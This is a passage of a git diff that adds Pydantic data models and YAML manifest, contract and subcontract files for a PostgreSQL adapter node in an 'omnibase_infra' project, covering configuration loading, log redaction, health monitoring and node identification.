Optional[ModelPostgresQueryMetrics] = Field(default=None, description="Detailed query metrics") + context: Optional[ModelPostgresContext] = Field(default=None, description="Additional response context") \ No newline at end of file diff --git a/src/omnibase_infra/models/postgres/model_postgres_query_result.py b/src/omnibase_infra/models/postgres/model_postgres_query_result.py new file mode 100644 index 0000000000..75b13120e8 --- /dev/null +++ b/src/omnibase_infra/models/postgres/model_postgres_query_result.py @@ -0,0 +1,30 @@ +"""PostgreSQL query result model.""" + +from typing import Dict, List, Union +from pydantic import BaseModel, Field + + +class ModelPostgresQueryRowValue(BaseModel): + """Strongly typed PostgreSQL query row value.""" + + column_name: str = Field(description="Column name") + value: Union[str, int, float, bool, None] = Field(description="Column value with proper typing") + column_type: str = Field(description="PostgreSQL column type") + + +class ModelPostgresQueryRow(BaseModel): + """Strongly typed PostgreSQL query row.""" + + values: Dict[str, Union[str, int, float, bool, None]] = Field( + default_factory=dict, + description="Row values keyed by column name with proper typing" + ) + + +class ModelPostgresQueryResult(BaseModel): + """PostgreSQL query result model.""" + + rows: List[ModelPostgresQueryRow] = Field(default_factory=list, description="Query result rows with strong typing") + column_names: List[str] = Field(default_factory=list, description="Column names in result set") + row_count: int = Field(description="Number of rows in result", ge=0) + has_more: bool = Field(default=False, description="Whether there are more rows available") \ No newline at end of file diff --git a/src/omnibase_infra/models/postgres/model_postgres_schema_info.py b/src/omnibase_infra/models/postgres/model_postgres_schema_info.py new file mode 100644 index 0000000000..f79284ca0c --- /dev/null +++ b/src/omnibase_infra/models/postgres/model_postgres_schema_info.py @@ -0,0 +1,16 @@ +"""PostgreSQL schema information model.""" + +from typing import List, Optional +from pydantic import BaseModel, Field + + +class ModelPostgresSchemaInfo(BaseModel): + """PostgreSQL schema information model.""" + + schema_name: str = Field(description="Name of the schema") + table_count: int = Field(description="Number of tables in schema", ge=0) + view_count: int = Field(description="Number of views in schema", ge=0) + function_count: int = Field(description="Number of functions in schema", ge=0) + is_valid: bool = Field(default=True, description="Whether schema validation passed") + validation_errors: List[str] = Field(default_factory=list, description="Schema validation errors") + last_modified: Optional[str] = Field(default=None, description="Last modification timestamp") \ No newline at end of file diff --git a/src/omnibase_infra/nodes/__init__.py b/src/omnibase_infra/nodes/__init__.py new file mode 100644 index 0000000000..b30176735a --- /dev/null +++ b/src/omnibase_infra/nodes/__init__.py @@ -0,0 +1 @@ +"""ONEX infrastructure nodes.""" \ No newline at end of file diff --git a/src/omnibase_infra/nodes/node_postgres_adapter_effect/__init__.py b/src/omnibase_infra/nodes/node_postgres_adapter_effect/__init__.py new file mode 100644 index 0000000000..3fa7fc5633 --- /dev/null +++ b/src/omnibase_infra/nodes/node_postgres_adapter_effect/__init__.py @@ -0,0 +1 @@ +"""PostgreSQL adapter infrastructure tool.""" \ No newline at end of file diff --git a/src/omnibase_infra/nodes/node_postgres_adapter_effect/tool.manifest.yaml b/src/omnibase_infra/nodes/node_postgres_adapter_effect/tool.manifest.yaml new file mode 100644 index 0000000000..7c8094dc48 --- /dev/null +++ b/src/omnibase_infra/nodes/node_postgres_adapter_effect/tool.manifest.yaml @@ -0,0 +1,122 @@ +# Node Manifest for PostgreSQL Adapter Infrastructure Node +# Defines metadata and configuration for ONEX infrastructure node registration + +node_name: "postgres_adapter" +node_version: 1.0.0 +node_type: "infrastructure" +category: "database_adapter" + +metadata: + display_name: "PostgreSQL Infrastructure Adapter" + description: "Message bus bridge for PostgreSQL database operations" + author: "ONEX Infrastructure Team" + created_date: "2025-09-11" + + # Infrastructure classification + infrastructure_category: "database" + service_integration: "postgresql" + adapter_type: "message_bus_bridge" + +# Node registration details +registration: + main_class: "Node" + module_path: "omnibase_infra.nodes.postgres_adapter.v1_0_0.node" + contract_path: "./v1_0_0/contract.yaml" + + # Dependencies for node loading + dependencies: + - "omnibase_infra.infrastructure.postgres_connection_manager" + - "omnibase_infra.models.postgres" + +# Service configuration +service: + service_name: "postgres_adapter_effect" + service_type: "effect" + event_routing: "infrastructure" + + # Connection requirements + external_services: + - name: "postgresql" + type: "database" + required: true + health_check_enabled: true + +# Deployment configuration +deployment: + resource_requirements: + memory_mb: 256 + cpu_cores: 0.5 + disk_mb: 100 + + environment_variables: + - name: "POSTGRES_HOST" + description: "PostgreSQL server host" + default: "localhost" + + - name: "POSTGRES_PORT" + description: "PostgreSQL server port" + default: "5432" + + - name: "POSTGRES_DATABASE" + description: "PostgreSQL database name" + default: "omnibase_infrastructure" + + - name: "POSTGRES_SCHEMA" + description: "Default PostgreSQL schema" + default: "infrastructure" + +# Monitoring and observability +observability: + health_check_endpoint: "/health" + metrics_enabled: true + logging_level: "INFO" + + # Key metrics to track + metrics: + - "postgres.connection_pool_size" + - "postgres.query_execution_time" + - "postgres.event_processing_latency" + - "postgres.database_errors" + +# Node capabilities +capabilities: + operations: + - "query_execution" + - "health_monitoring" + - "connection_management" + - "event_processing" + + patterns: + - "message_bus_integration" + - "connection_pooling" + - "error_recovery" + - "performance_monitoring" + +# Integration points +integration: + event_bus: + subscribes_to: + - "postgres_query_request" + - "postgres_health_check_request" + + publishes: + - "postgres_query_completed" + - "postgres_health_status_changed" + - "postgres_operation_failed" + + subcontracts: + - "postgres_event_processing_subcontract" + - "postgres_connection_management_subcontract" + +# Quality gates +quality: + test_coverage_minimum: 80 + performance_requirements: + query_latency_max: "100ms" + connection_acquisition_max: "50ms" + event_processing_max: "10ms" + + security: + credential_management: "environment_variables" + ssl_support: true + audit_logging: true \ No newline at end of file diff --git a/src/omnibase_infra/nodes/node_postgres_adapter_effect/v1_0_0/__init__.py b/src/omnibase_infra/nodes/node_postgres_adapter_effect/v1_0_0/__init__.py new file mode 100644 index 0000000000..057db29b7a --- /dev/null +++ b/src/omnibase_infra/nodes/node_postgres_adapter_effect/v1_0_0/__init__.py @@ -0,0 +1 @@ +"""PostgreSQL adapter infrastructure tool v1.0.0.""" \ No newline at end of file diff --git a/src/omnibase_infra/nodes/node_postgres_adapter_effect/v1_0_0/contract.yaml b/src/omnibase_infra/nodes/node_postgres_adapter_effect/v1_0_0/contract.yaml new file mode 100644 index 0000000000..2c6dc0b5af --- /dev/null +++ b/src/omnibase_infra/nodes/node_postgres_adapter_effect/v1_0_0/contract.yaml @@ -0,0 +1,290 @@ +# Infrastructure PostgreSQL Adapter - ONEX Contract +# Effect node for PostgreSQL database operations via message bus integration + +# === REQUIRED ROOT FIELDS === +contract_version: {major: 1, minor: 0, patch: 0} +node_name: "postgres_adapter" +node_version: {major: 1, minor: 0, patch: 0} +contract_name: "postgres_adapter_contract" +description: "Infrastructure PostgreSQL Adapter - Message Bus to PostgreSQL Database Bridge" +node_type: "EFFECT" +name: "postgres_adapter" +version: {major: 1, minor: 0, patch: 0} +input_model: "ModelPostgresAdapterInput" +output_model: "ModelPostgresAdapterOutput" + +# === NODE SPECIFICATION === +node_specification: + node_name: "postgres_adapter" + version: {major: 1, minor: 0, patch: 0} + description: "Infrastructure PostgreSQL Adapter - Message Bus to PostgreSQL Database Bridge" + main_node_class: "Node" + container_injection: "ONEXContainer" + business_logic_pattern: "effect" + +# === DEPENDENCIES === +dependencies: + - name: "protocol_database_client" + type: "protocol" + class_name: "ProtocolDatabaseClient" + module: "omnibase_core.protocol.protocol_database_client" + - name: "protocol_event_bus" + type: "protocol" + class_name: "ProtocolEventBus" + module: "omnibase_core.protocol.protocol_event_bus" + - name: "protocol_connection_pool" + type: "protocol" + class_name: "ProtocolConnectionPool" + module: "omnibase_core.protocol.protocol_connection_pool" + - name: "postgres_connection_manager" + type: "protocol" + class_name: "PostgresConnectionManager" + module: "omnibase_infra.infrastructure.postgres_connection_manager" + +# === SHARED MODEL DEPENDENCIES === +shared_model_dependencies: + - name: "model_postgres_query_request" + type: "model" + class_name: "ModelPostgresQueryRequest" + module: "omnibase_infra.models.postgres.model_postgres_query_request" + description: "Shared PostgreSQL query request model" + + - name: "model_postgres_query_response" + type: "model" + class_name: "ModelPostgresQueryResponse" + module: "omnibase_infra.models.postgres.model_postgres_query_response" + description: "Shared PostgreSQL query response model" + + - name: "model_postgres_health_request" + type: "model" + class_name: "ModelPostgresHealthRequest" + module: "omnibase_infra.models.postgres.model_postgres_health_request" + description: "Shared PostgreSQL health check request model" + + - name: "model_postgres_health_response" + type: "model" + class_name: "ModelPostgresHealthResponse" + module: "omnibase_infra.models.postgres.model_postgres_health_response" + description: "Shared PostgreSQL health check response model" + + - name: "model_postgres_connection_config" + type: "model" + class_name: "ModelPostgresConnectionConfig" + module: "omnibase_infra.models.postgres.model_postgres_connection_config" + description: "Shared PostgreSQL connection configuration model" + + - name: "model_configuration_subcontract" + type: "model" + class_name: "ModelConfigurationSubcontract" + module: "omnibase_infra.models.infrastructure.model_configuration_subcontract" + description: "Shared configuration management subcontract model (temporary - will move to omnibase_core)" + +# === EVENT TYPE CONFIGURATION === +event_type: + primary_events: ["postgres_query_operation", "postgres_transaction_operation", "postgres_health_check"] + event_categories: ["infrastructure", "database", "persistence"] + publish_events: true + subscribe_events: false + event_routing: "infrastructure" + +# === INPUT/OUTPUT STATE === +input_state: + object_type: "object" + required: + - "operation_type" + - "correlation_id" + - "timestamp" + properties: + operation_type: + property_type: "string" + enum: ["query", "health_check"] + description: "Type of PostgreSQL operation to perform" + + query_request: + property_type: "object" + description: "Query request payload (when operation_type is 'query')" + reference: "ModelPostgresQueryRequest" + + health_request: + property_type: "object" + description: "Health check request payload (when operation_type is 'health_check')" + reference: "ModelPostgresHealthRequest" + + correlation_id: + property_type: "string" + description: "Request correlation ID for tracing" + format: "uuid" + + timestamp: + property_type: "number" + description: "Request timestamp" + + context: + property_type: "object" + description: "Additional request context" + +output_state: + object_type: "object" + properties: + operation_type: + property_type: "string" + description: "Type of operation that was executed" + enum: ["query", "health_check"] + + query_response: + property_type: "object" + description: "Query response payload (when operation_type is 'query')" + reference: "ModelPostgresQueryResponse" + + health_response: + property_type: "object" + description: "Health check response payload (when operation_type is 'health_check')" + reference: "ModelPostgresHealthResponse" + + success: + property_type: "boolean" + description: "Whether the operation was successful" + + error_message: + property_type: "string" + description: "Error message if operation failed" + + correlation_id: + property_type: "string" + description: "Request correlation ID for tracing" + format: "uuid" + + timestamp: + property_type: "number" + description: "Response timestamp" + + execution_time_ms: + property_type: "number" + description: "Total operation execution time in milliseconds" + +# === IO OPERATIONS (Required for EFFECT nodes) === +io_operations: + - operation_type: "postgres_query_execution" + atomic: true + backup_enabled: false + permissions: null + recursive: false + buffer_size: 8192 + timeout_seconds: 30 + validation_enabled: true + + - operation_type: "postgres_transaction_execution" + atomic: true + backup_enabled: true + permissions: null + recursive: false + buffer_size: 16384 + timeout_seconds: 60 + validation_enabled: true + + - operation_type: "postgres_health_check" + atomic: false + backup_enabled: false + permissions: null + recursive: false + buffer_size: 4096 + timeout_seconds: 5 + validation_enabled: true + + - operation_type: "postgres_connection_management" + atomic: false + backup_enabled: false + permissions: null + recursive: false + buffer_size: 2048 + timeout_seconds: 10 + validation_enabled: true + +# === SUBCONTRACTS === +subcontracts: + - name: "configuration_subcontract" + path: "./contracts/configuration_subcontract.yaml" + description: "Standardized configuration management for infrastructure nodes" + integration_type: "mixin" + + - name: "postgres_event_processing_subcontract" + path: "./contracts/postgres_event_processing_subcontract.yaml" + description: "Event bus integration patterns for PostgreSQL operations" + integration_type: "mixin" + + - name: "postgres_connection_management_subcontract" + path: "./contracts/postgres_connection_management_subcontract.yaml" + description: "Connection pool and database management patterns" + integration_type: "mixin" + +# === DEFINITIONS (Required by ModelContractContent) === +definitions: + models: + ModelPostgresAdapterInput: + type: "object" + description: "Input envelope for PostgreSQL adapter operations" + properties: + operation_type: + type: "string" + enum: ["query", "health_check"] + query_request: + $ref: "#/shared_models/ModelPostgresQueryRequest" + health_request: + $ref: "#/shared_models/ModelPostgresHealthRequest" + correlation_id: + type: "string" + format: "uuid" + timestamp: + type: "number" + context: + type: "object" + required: ["operation_type", "correlation_id", "timestamp"] + + ModelPostgresAdapterOutput: + type: "object" + description: "Output envelope for PostgreSQL adapter operations" + properties: + operation_type: + type: "string" + enum: ["query", "health_check"] + query_response: + $ref: "#/shared_models/ModelPostgresQueryResponse" + health_response: + $ref: "#/shared_models/ModelPostgresHealthResponse" + success: + type: "boolean" + error_message: + type: "string" + nullable: true + correlation_id: + type: "string" + format: "uuid" + timestamp: + type: "number" + execution_time_ms: + type: "number" + context: + type: "object" + required: ["operation_type", "success", "correlation_id", "timestamp", "execution_time_ms"] + + schemas: {} + + responses: {} + +# === SHARED MODEL REFERENCES === +shared_models: + ModelPostgresQueryRequest: + module: "omnibase_infra.models.postgres.model_postgres_query_request" + class_name: "ModelPostgresQueryRequest" + + ModelPostgresQueryResponse: + module: "omnibase_infra.models.postgres.model_postgres_query_response" + class_name: "ModelPostgresQueryResponse" + + ModelPostgresHealthRequest: + module: "omnibase_infra.models.postgres.model_postgres_health_request" + class_name: "ModelPostgresHealthRequest" + + ModelPostgresHealthResponse: + module: "omnibase_infra.models.postgres.model_postgres_health_response" + class_name: "ModelPostgresHealthResponse" \ No newline at end of file diff --git a/src/omnibase_infra/nodes/node_postgres_adapter_effect/v1_0_0/contracts/configuration_subcontract.yaml b/src/omnibase_infra/nodes/node_postgres_adapter_effect/v1_0_0/contracts/configuration_subcontract.yaml new file mode 100644 index 0000000000..8470b9f7f6 --- /dev/null +++ b/src/omnibase_infra/nodes/node_postgres_adapter_effect/v1_0_0/contracts/configuration_subcontract.yaml @@ -0,0 +1,187 @@ +# Configuration Management Subcontract - ONEX Infrastructure Standards +# Provides standardized configuration loading, validation, and environment management + +# === SUBCONTRACT METADATA === +subcontract_version: {major: 1, minor: 0, patch: 0} +subcontract_name: "configuration_subcontract" +description: "Configuration management patterns for ONEX infrastructure nodes" +integration_type: "mixin" + +# === CONFIGURATION STRATEGY === +configuration_strategy: + loading_order: ["container", "environment", "defaults"] + validation_enabled: true + environment_prefix_required: true + secret_detection_enabled: true + hot_reload_supported: false + +# === ENVIRONMENT CONFIGURATION === +environment_configuration: + prefix_pattern: "ONEX_INFRA_{NODE_NAME}_" + required_variables: [] + optional_variables: [] + validation_rules: + - type: "format" + pattern: "^[A-Z_][A-Z0-9_]*$" + - type: "length" + min_length: 1 + max_length: 256 + +# === CONTAINER CONFIGURATION === +container_configuration: + service_resolution_enabled: true + fallback_to_environment: true + configuration_service_key: "configuration_service" + cache_configuration: true + +# === VALIDATION PATTERNS === +validation_patterns: + database_connection_string: + pattern: "^postgresql://[^:]+:[^@]+@[^:]+:[0-9]+/[^/]+$" + required: true + sensitive: true + + port_number: + pattern: "^[1-9][0-9]{0,4}$" + range: [1, 65535] + required: true + + boolean_flag: + pattern: "^(true|false|0|1|yes|no)$" + required: false + + timeout_seconds: + pattern: "^[1-9][0-9]*$" + range: [1, 3600] + required: false + +# === SECURITY CONFIGURATION === +security_configuration: + sanitize_logs: true + mask_sensitive_values: true + sensitive_patterns: + - "password" + - "secret" + - "key" + - "token" + - "credential" + redaction_replacement: "[REDACTED]" + +# === ERROR HANDLING === +error_handling: + fail_on_missing_required: true + fail_on_invalid_format: true + log_configuration_errors: true + provide_detailed_validation_messages: true + +# === MODELS DEFINITION === +models: + ModelConfigurationSource: + type: "object" + description: "Configuration source with priority and validation" + properties: + source_type: + type: "string" + enum: ["container", "environment", "defaults", "file"] + priority: + type: "integer" + minimum: 1 + maximum: 100 + validation_enabled: + type: "boolean" + default: true + required: ["source_type", "priority"] + + ModelEnvironmentConfiguration: + type: "object" + description: "Environment-based configuration loading" + properties: + prefix: + type: "string" + pattern: "^[A-Z_][A-Z0-9_]*_$" + description: "Environment variable prefix" + required_variables: + type: "array" + items: + type: "string" + optional_variables: + type: "array" + items: + type: "string" + fallback_values: + type: "object" + additionalProperties: + type: "string" + required: ["prefix"] + + ModelConfigurationValidation: + type: "object" + description: "Configuration validation rules and patterns" + properties: + validation_rules: + type: "array" + items: + $ref: "#/models/ModelValidationRule" + sensitive_field_patterns: + type: "array" + items: + type: "string" + required_fields: + type: "array" + items: + type: "string" + required: ["validation_rules"] + + ModelValidationRule: + type: "object" + description: "Individual validation rule for configuration values" + properties: + field_name: + type: "string" + rule_type: + type: "string" + enum: ["format", "range", "enum", "required"] + pattern: + type: "string" + range_min: + type: "number" + range_max: + type: "number" + allowed_values: + type: "array" + items: + type: "string" + error_message: + type: "string" + required: ["field_name", "rule_type"] + +# === INTEGRATION PATTERNS === +integration_patterns: + container_service_resolution: + enabled: true + service_key: "configuration_service" + fallback_enabled: true + + environment_variable_loading: + enabled: true + prefix_required: true + validation_enabled: true + + default_value_fallback: + enabled: true + log_fallback_usage: true + + configuration_caching: + enabled: true + cache_duration_seconds: 300 + invalidation_on_error: true + +# === MIXIN CAPABILITIES === +mixin_capabilities: + - "load_configuration_from_container" + - "load_configuration_from_environment" + - "validate_configuration_values" + - "sanitize_sensitive_configuration" + - "provide_configuration_defaults" + - "cache_configuration_results" + - "handle_configuration_errors" \ No newline at end of file diff --git a/src/omnibase_infra/nodes/node_postgres_adapter_effect/v1_0_0/contracts/health_check_mixin_subcontract.yaml b/src/omnibase_infra/nodes/node_postgres_adapter_effect/v1_0_0/contracts/health_check_mixin_subcontract.yaml new file mode 100644 index 0000000000..f5ff2ffd87 --- /dev/null +++ b/src/omnibase_infra/nodes/node_postgres_adapter_effect/v1_0_0/contracts/health_check_mixin_subcontract.yaml @@ -0,0 +1,294 @@ +# Health Check Mixin Subcontract - Standardized Health Monitoring Pattern +# This subcontract defines health check patterns for MixinHealthCheck integration + +contract_type: "health_check_mixin_subcontract" +contract_version: + major: 1 + minor: 0 + patch: 0 + +metadata: + name: "HealthCheckMixinSubcontract" + description: "Standardized health monitoring pattern for MixinHealthCheck integration with ONEX nodes" + author: "ONEX Framework Team" + created: "2025-01-15" + purpose: "Define health check patterns for comprehensive node health monitoring via MixinHealthCheck" + +business_logic: + pattern: "standardized_health_monitoring" + ai_agent: + capabilities: ["health_assessment", "dependency_monitoring", "performance_tracking", "status_aggregation"] + coordination_patterns: ["health_aggregator", "status_publisher", "monitoring_agent"] + performance_targets: + health_check_duration: "<100ms" + status_reporting_frequency: "30s" + dependency_check_timeout: "<500ms" + +# Health Check Architecture +health_check_architecture: + name: "StandardizedHealthMonitoring" + description: "Comprehensive health monitoring system for ONEX infrastructure nodes" + + # Health check execution patterns + execution_patterns: + synchronous_checks: + - check_type: "basic_operational_status" + description: "Verify node is operational and responsive" + timeout_ms: 50 + required: true + + - check_type: "immediate_dependency_status" + description: "Check critical dependencies that must be immediately available" + timeout_ms: 100 + required: true + + asynchronous_checks: + - check_type: "comprehensive_dependency_analysis" + description: "Deep analysis of all service dependencies" + timeout_ms: 2000 + required: false + + - check_type: "performance_metrics_collection" + description: "Collect detailed performance metrics" + timeout_ms: 1000 + required: false + + - check_type: "resource_utilization_assessment" + description: "Assess memory, CPU, and I/O utilization" + timeout_ms: 500 + required: false + + # Health status aggregation + status_aggregation: + aggregation_strategy: "worst_case_wins" + status_hierarchy: + - status: "CRITICAL" + priority: 1 + escalation: "immediate_alert" + + - status: "UNHEALTHY" + priority: 2 + escalation: "urgent_notification" + + - status: "DEGRADED" + priority: 3 + escalation: "monitoring_alert" + + - status: "HEALTHY" + priority: 4 + escalation: "none" + + aggregation_rules: + - condition: "any_critical_check_failed" + result_status: "CRITICAL" + + - condition: "any_unhealthy_check_failed" + result_status: "UNHEALTHY" + + - condition: "any_degraded_check_failed" + result_status: "DEGRADED" + + - condition: "all_checks_passed" + result_status: "HEALTHY" + +# PostgreSQL-Specific Health Checks +postgresql_health_checks: + database_connectivity: + check_name: "database_connectivity" + description: "Verify PostgreSQL database connection is established and responsive" + implementation: "_check_database_connectivity" + timeout_ms: 2000 + retry_attempts: 2 + critical: true + + connection_pool_health: + check_name: "connection_pool_health" + description: "Validate PostgreSQL connection pool status and capacity" + implementation: "_check_connection_pool_health" + timeout_ms: 500 + retry_attempts: 1 + critical: false + + query_execution_capability: + check_name: "query_execution_capability" + description: "Test basic query execution against PostgreSQL database" + implementation: "_check_query_execution_capability" + timeout_ms: 1000 + retry_attempts: 1 + critical: true + + transaction_capability: + check_name: "transaction_capability" + description: "Verify transaction management capabilities" + implementation: "_check_transaction_capability" + timeout_ms: 1500 + retry_attempts: 1 + critical: false + +# Health Status Models +health_status_models: + model_health_status: + fields: + - name: "status" + type: "EnumHealthStatus" + required: true + description: "Overall health status using ONEX standard enum" + + - name: "message" + type: "Optional[str]" + required: false + description: "Human-readable status description" + + - name: "timestamp" + type: "Optional[str]" + required: false + description: "ISO format timestamp of health check execution" + + - name: "details" + type: "ModelHealthDetails" + required: false + description: "Additional health check details and metrics" + + - name: "uptime_seconds" + type: "Optional[float]" + required: false + description: "Node uptime in seconds" + + - name: "memory_usage_mb" + type: "Optional[float]" + required: false + description: "Current memory usage in megabytes" + + - name: "cpu_usage_percent" + type: "Optional[float]" + required: false + description: "Current CPU usage percentage" + + enum_health_status: + values: + - "HEALTHY": "Service is fully operational" + - "DEGRADED": "Service is operational but experiencing issues" + - "UNHEALTHY": "Service has significant issues affecting functionality" + - "CRITICAL": "Service is failing or non-responsive" + - "UNKNOWN": "Health status cannot be determined" + +# Dependency Health Monitoring +dependency_monitoring: + dependency_categories: + critical_dependencies: + - dependency: "postgresql_database" + check_method: "database_connectivity_check" + failure_impact: "service_unavailable" + + - dependency: "connection_manager" + check_method: "connection_manager_health_check" + failure_impact: "degraded_performance" + + optional_dependencies: + - dependency: "monitoring_system" + check_method: "monitoring_connectivity_check" + failure_impact: "reduced_observability" + + - dependency: "metrics_collector" + check_method: "metrics_collection_check" + failure_impact: "no_metrics" + + dependency_check_patterns: + parallel_execution: true + timeout_per_check: 1000 # milliseconds + failure_threshold: 2 # consecutive failures before marking as unhealthy + recovery_verification: true + +# Error Handling and Recovery +error_handling: + health_check_failures: + timeout_exceeded: + action: "mark_check_as_degraded" + fallback: "use_cached_status" + log_level: "warning" + + exception_during_check: + action: "mark_check_as_unhealthy" + fallback: "continue_with_other_checks" + log_level: "error" + + dependency_unavailable: + action: "mark_dependency_as_unhealthy" + fallback: "skip_dependent_checks" + log_level: "warning" + + recovery_strategies: + automatic_retry: + enabled: true + max_attempts: 3 + backoff_strategy: "exponential" + base_delay_ms: 100 + + circuit_breaker: + enabled: true + failure_threshold: 5 + recovery_timeout_ms: 30000 + half_open_test_requests: 1 + +# Performance Optimization +performance_optimization: + execution_efficiency: + parallel_health_checks: true + check_result_caching: true + cache_duration_seconds: 30 + lazy_dependency_loading: true + + resource_management: + memory_efficient_checks: true + connection_reuse: true + result_aggregation_optimization: true + +# Monitoring Integration +monitoring_integration: + metrics_emission: + health_check_metrics: + - "health_check.execution_time_ms" + - "health_check.success_rate" + - "health_check.failure_count" + - "health_check.dependency_health_score" + + status_metrics: + - "node.health_status" + - "node.uptime_seconds" + - "node.dependency_count_healthy" + - "node.dependency_count_unhealthy" + + alerting_rules: + critical_alerts: + - condition: "status == CRITICAL" + action: "immediate_page" + + - condition: "consecutive_unhealthy > 3" + action: "escalate_to_oncall" + + warning_alerts: + - condition: "status == DEGRADED" + action: "slack_notification" + + - condition: "dependency_failure_rate > 50%" + action: "monitoring_alert" + +# Code Generation Targets +generation_targets: + health_check_framework: + check_execution_engine: true + status_aggregation_logic: true + dependency_monitoring_system: true + error_handling_patterns: true + + integration_patterns: + mixin_inheritance_support: true + async_check_coordination: true + metrics_integration: true + alerting_integration: true + +# Integration with Main Contract +integration: + main_contract_field: "health_monitoring_configuration" + mapping_strategy: "health_check_embedding" + backward_compatibility: true \ No newline at end of file diff --git a/src/omnibase_infra/nodes/node_postgres_adapter_effect/v1_0_0/contracts/node_id_contract_mixin_subcontract.yaml b/src/omnibase_infra/nodes/node_postgres_adapter_effect/v1_0_0/contracts/node_id_contract_mixin_subcontract.yaml new file mode 100644 index 0000000000..54f1cc5e28 --- /dev/null +++ b/src/omnibase_infra/nodes/node_postgres_adapter_effect/v1_0_0/contracts/node_id_contract_mixin_subcontract.yaml @@ -0,0 +1,229 @@ +# Node ID from Contract Mixin Subcontract - Contract-Based Node Identification Pattern +# This subcontract defines node ID loading patterns for MixinNodeIdFromContract integration + +contract_type: "node_id_contract_mixin_subcontract" +contract_version: + major: 1 + minor: 0 + patch: 0 + +metadata: + name: "NodeIdContractMixinSubcontract" + description: "Contract-based node ID loading pattern for MixinNodeIdFromContract integration with ONEX nodes" + author: "ONEX Framework Team" + created: "2025-01-15" + purpose: "Define contract-driven node identification patterns for consistent node ID management" + +business_logic: + pattern: "contract_based_node_identification" + ai_agent: + capabilities: ["contract_parsing", "node_id_extraction", "contract_validation", "fallback_id_generation"] + coordination_patterns: ["contract_loader", "id_resolver", "validation_engine"] + performance_targets: + contract_load_time: "<50ms" + id_resolution_time: "<10ms" + contract_validation_time: "<25ms" + +# Contract-Based Node ID Management +node_id_management: + name: "ContractBasedNodeIdentification" + description: "Standardized node ID loading from contract.yaml for ONEX infrastructure nodes" + + # Contract loading patterns + contract_loading: + contract_discovery: + - location: "contract.yaml" + relative_to: "node_directory" + priority: "primary" + required: true + + - location: "../contract.yaml" + relative_to: "node_directory" + priority: "fallback" + required: false + + contract_parsing: + - field: "node_name" + path: "metadata.node_name" + fallback_path: "name" + required: true + + - field: "contract_name" + path: "metadata.contract_name" + fallback_path: "contract_name" + required: false + + - field: "version" + path: "metadata.version" + fallback_path: "version" + required: true + + # Node ID generation patterns + id_generation: + primary_strategy: + pattern: "contract_name_based" + source_fields: ["contract_name", "node_name"] + format: "{contract_name}_{version_major}_{version_minor}_{version_patch}" + validation: "alphanumeric_underscore_only" + + fallback_strategies: + - pattern: "node_name_based" + source_fields: ["node_name"] + format: "{node_name}_{version_major}_{version_minor}_{version_patch}" + condition: "contract_name_missing" + + - pattern: "directory_based" + source_fields: ["directory_name"] + format: "{directory_name}_{timestamp}" + condition: "all_metadata_missing" + + - pattern: "uuid_based" + source_fields: [] + format: "node_{uuid4}" + condition: "complete_fallback" + +# Contract Validation +contract_validation: + validation_rules: + required_fields: + - path: "metadata.node_name" + error_message: "Node name is required in contract metadata" + severity: "error" + + - path: "metadata.version" + error_message: "Version is required in contract metadata" + severity: "error" + + optional_fields: + - path: "metadata.contract_name" + error_message: "Contract name missing, using node_name as fallback" + severity: "warning" + + - path: "metadata.description" + error_message: "Node description missing" + severity: "info" + + validation_enforcement: + strict_mode: false + fail_on_error: true + warn_on_missing_optional: true + generate_fallback_ids: true + +# Contract File Management +contract_file_management: + file_discovery: + search_paths: + - path: "." + filename: "contract.yaml" + priority: 1 + + - path: ".." + filename: "contract.yaml" + priority: 2 + + - path: "../.." + filename: "contract.yaml" + priority: 3 + + file_validation: + check_file_exists: true + check_file_readable: true + check_yaml_syntax: true + check_required_structure: true + + caching_strategy: + cache_parsed_contracts: true + cache_duration_minutes: 60 + invalidate_on_file_change: true + cache_key_strategy: "file_path_hash" + +# Error Handling and Recovery +error_handling: + contract_loading_errors: + file_not_found: + action: "try_fallback_locations" + fallback: "generate_directory_based_id" + log_level: "warning" + + yaml_parsing_error: + action: "fail_with_detailed_error" + fallback: "none" + log_level: "error" + + permission_denied: + action: "try_fallback_locations" + fallback: "generate_uuid_based_id" + log_level: "error" + + validation_errors: + missing_required_field: + action: "fail_with_validation_error" + fallback: "none" + log_level: "error" + + invalid_field_format: + action: "sanitize_and_continue" + fallback: "use_sanitized_value" + log_level: "warning" + +# ID Format Standards +id_format_standards: + naming_conventions: + allowed_characters: "alphanumeric_underscore_hyphen" + max_length: 128 + min_length: 3 + case_sensitivity: "preserve_original" + + versioning_integration: + include_version: true + version_format: "semantic_version" + version_separator: "_" + + uniqueness_guarantees: + ensure_uniqueness: true + uniqueness_scope: "global_onex_system" + collision_resolution: "append_counter" + +# Performance Optimization +performance_optimization: + loading_efficiency: + lazy_loading: false # Load immediately during initialization + parallel_validation: true + contract_preprocessing: true + + memory_management: + contract_caching: true + memory_cleanup: true + gc_friendly_structures: true + +# Integration Patterns +integration_patterns: + mixin_coordination: + initialization_order: "first" + dependency_on: [] + provides_to: ["MixinNodeService", "MixinHealthCheck"] + + service_integration: + node_id_availability: "during_initialization" + id_change_notifications: false # IDs are immutable + external_id_registration: true + +# Code Generation Targets +generation_targets: + contract_loading: + file_discovery_logic: true + yaml_parsing_utilities: true + validation_framework: true + error_handling_patterns: true + + id_management: + id_generation_algorithms: true + format_validation: true + uniqueness_enforcement: true + caching_mechanisms: true + +# Integration with Main Contract +integration: + main_contract_field: "node_identification_configuration" + mapping_strategy: "metadata_extraction" + backward_compatibility: true \ No newline at end of file diff --git a/src/omnibase_infra/nodes/node_postgres_adapter_effect/v1_0_0/contracts/node_service_mixin_subcontract.yaml b/src/omnibase_infra/nodes/node_postgres_adapter_effect/v1_0_0/contracts/node_service_mixin_subcontract.yaml new file mode 100644 index 0000000000..8e04d83edb --- /dev/null +++ b/src/omnibase_infra/nodes/node_postgres_adapter_effect/v1_0_0/contracts/node_service_mixin_subcontract.yaml @@ -0,0 +1,253 @@ +# Node Service Mixin Subcontract - Service Lifecycle Management Pattern +# This subcontract defines service lifecycle patterns for MixinNodeService integration + +contract_type: "node_service_mixin_subcontract" +contract_version: + major: 1 + minor: 0 + patch: 0 + +metadata: + name: "NodeServiceMixinSubcontract" + description: "Service lifecycle management pattern for MixinNodeService integration with ONEX nodes" + author: "ONEX Framework Team" + created: "2025-01-15" + purpose: "Define service lifecycle patterns for node service management via MixinNodeService" + +business_logic: + pattern: "node_service_lifecycle" + ai_agent: + capabilities: ["service_startup", "service_shutdown", "service_monitoring", "event_bus_integration"] + coordination_patterns: ["service_registry", "event_subscriber", "lifecycle_manager"] + performance_targets: + service_startup_time: "<500ms" + service_shutdown_time: "<200ms" + heartbeat_frequency: "30s" + +# Service Lifecycle Management +service_lifecycle: + name: 